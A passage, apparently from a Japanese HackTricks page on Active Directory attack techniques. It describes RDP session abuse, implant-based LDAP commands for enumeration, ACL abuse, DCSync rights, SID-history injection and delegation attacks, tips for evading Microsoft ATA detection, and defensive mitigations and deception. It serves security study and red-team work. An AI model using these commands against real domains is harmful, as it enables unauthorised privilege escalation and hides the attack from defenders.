別の方法としては、trusted ドメインのユーザーが RDP でログインできるマシン上で待ち構えることです。その場合、攻撃者は RDP セッションプロセスにコードを注入し、そこから被害者の元ドメインにアクセスすることができます。
さらに、被害者がそのハードドライブをマウントしていた場合、RDP セッションプロセスからハードドライブのスタートアップフォルダbackdoorsを置くことが可能です。この手法は RDPInception と呼ばれます。

RDP Sessions Abuse

ドメイン信頼の悪用緩和

SID Filtering:

  • SID Filtering が有効になっていると、フォレスト間トラストにおける SID history 属性を悪用した攻撃のリスクは軽減されます。これは、Microsoft の見解に従い、セキュリティ境界をドメインではなくフォレストと見なす前提のもと、すべてのフォレスト間トラストでデフォルトで有効になっています。
  • ただし、注意点として SID Filtering はアプリケーションやユーザーアクセスを妨げる可能性があり、そのために無効化されることがあります。

Selective Authentication:

  • フォレスト間トラストでは、Selective Authentication を使用することで、2 つのフォレストのユーザーが自動的に認証されることを防ぎます。代わりに、信頼するドメインやフォレスト内のドメインやサーバーにアクセスするためには明示的な権限が必要になります。
  • これらの対策は、書き込み可能な Configuration Naming Context (NC) の悪用やトラストアカウントへの攻撃からは保護しない点に注意してください。

More information about domain trusts in ired.team.

LDAPベースのAD悪用(On-Host Implantsから)

The LDAP BOF Collection は bloodyAD-style の LDAP プリミティブを x64 Beacon Object Files として再実装しており、これらはオンホストインプラント(例: Adaptix C2)内で完全に実行されます。オペレータはパックを git clone https://github.com/P0142/ldap-bof-collection.git && cd ldap-bof-collection && make でコンパイルし、ldap.axs をロードしてからビーコン内で ldap <subcommand> を呼び出します。すべてのトラフィックは現在のログオン セキュリティ コンテキスト上で LDAP (389) の signing/sealing、または自動証明書信頼を使った LDAPS (636) を介して行われるため、socks プロキシやディスク上の痕跡は不要です。

インプラント側のLDAP列挙

  • get-users, get-computers, get-groups, get-usergroups, and get-groupmembers は短い名前や OU パスを完全な DN に解決し、対応するオブジェクトをダンプします。
  • get-object, get-attribute, and get-domaininfo は任意の属性(security descriptors を含む)と rootDSE からのフォレスト/ドメインのメタデータを取得します。
  • get-uac, get-spn, get-delegation, and get-rbcd は roasting candidates、delegation 設定、および LDAP から直接既存の Resource-based Constrained Delegation ディスクリプタを露出します。
  • get-acl and get-writable --detailed は DACL を解析して trustees、権利(GenericAll/WriteDACL/WriteOwner/attribute writes)、および継承を列挙し、ACL 権限昇格の即時ターゲットを提供します。
ldap get-users --ldaps
ldap get-computers -ou "OU=Servers,DC=corp,DC=local"
ldap get-writable --detailed
ldap get-acl "CN=Tier0,OU=Admins,DC=corp,DC=local"

LDAP write primitives — エスカレーションと永続化向け

  • Object creation BOFs (add-user, add-computer, add-group, add-ou) により、オペレーターはOU権限がある場所に新しいプリンシパルやマシンアカウントを配置できます。add-groupmemberset-passwordadd-attribute、および set-attribute は write-property 権限を得ると対象を直接ハイジャックします。
  • ACL 指向のコマンド(add-ace, set-owner, add-genericall, add-genericwrite, add-dcsync 等)は、任意の AD オブジェクトの WriteDACL/WriteOwner をパスワードリセット、グループメンバーシップ操作、または DCSync レプリケーション権限に変換し、PowerShell/ADSI のアーティファクトを残さずに行えます。remove-* 系は注入した ACE をクリーンアップします。

Delegation、roasting、および Kerberos の悪用

  • add-spn/set-spn により、侵害されたユーザーを即座に Kerberoastable にできます。add-asreproastable(UAC トグル)はパスワードに触れずに AS-REP ロースト対象としてマークします。
  • Delegation マクロ(add-delegation, set-delegation, add-constrained, add-unconstrained, add-rbcd)はビーコンから msDS-AllowedToDelegateTo、UAC フラグ、または msDS-AllowedToActOnBehalfOfOtherIdentity を書き換え、constrained/unconstrained/RBCD の攻撃経路を有効にし、リモート PowerShell や RSAT の必要性を排します。

sidHistory injection、OU の移動、および攻撃対象面の形成

  • add-sidhistory は管理対象プリンシパルの SID history に特権 SID を注入します(SID-History Injection を参照)。これにより LDAP/LDAPS 上でステルスにアクセス継承が可能になります。
  • move-object はコンピュータやユーザーの DN/OU を変更し、攻撃者が set-passwordadd-groupmember、または add-spn を悪用する前に、既に委任権が存在する OU に資産を移動できます。
  • スコープを限定した削除コマンド(remove-attribute, remove-delegation, remove-rbcd, remove-uac, remove-groupmember など)は、オペレーターが資格情報や永続化を収集した後に迅速なロールバックを可能にし、テレメトリを最小化します。

AD -> Azure & Azure -> AD

Page not found - HackTricks Cloud

一般的な防御策

認証情報の保護方法について詳しくはこちら。

認証情報保護の防御対策

  • Domain Admins の制限:Domain Admins は Domain Controllers のみにログインを許可し、他のホストでの使用を避けることが推奨されます。
  • サービスアカウントの権限:サービスを Domain Admin (DA) 権限で実行しないようにしてください。
  • 一時的な権限制限:DA 権限が必要なタスクでは、その期間を制限するべきです。例: Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)

デセプション(欺瞞)技術の実装

  • デセプションの実装は、パスワードが期限切れにならない、または Trusted for Delegation とマークされたデコイユーザーやデコイコンピュータなどの罠を設置することを伴います。詳細な手法には、特定の権限を持つユーザーを作成したり、高権限グループに追加したりすることが含まれます。
  • 実用的な例: Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose
  • デセプション技術の展開について詳しくは Deploy-Deception on GitHub を参照してください。

デセプションの識別

  • ユーザーオブジェクトの場合:疑わしい指標には、非典型的な ObjectSID、ログオン頻度の低さ、作成日時、および誤パスワード試行回数が少ないことなどがあります。
  • 一般的な指標:潜在的なデコイオブジェクトの属性を実際のオブジェクトと比較すると不整合が明らかになります。ツール例として HoneypotBuster が役立ちます。

検出システムの回避

  • Microsoft ATA の検出回避
  • ユーザー列挙:ATA 検出を避けるために Domain Controllers 上でのセッション列挙を避ける。
  • チケット偽装:チケット作成に aes キーを使用すると NTLM へダウングレードせず、検出を回避しやすくなります。
  • DCSync 攻撃:Domain Controller 以外から実行して ATA 検出を回避することが推奨されます。Domain Controller から直接実行するとアラートが発生します。

参考資料

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする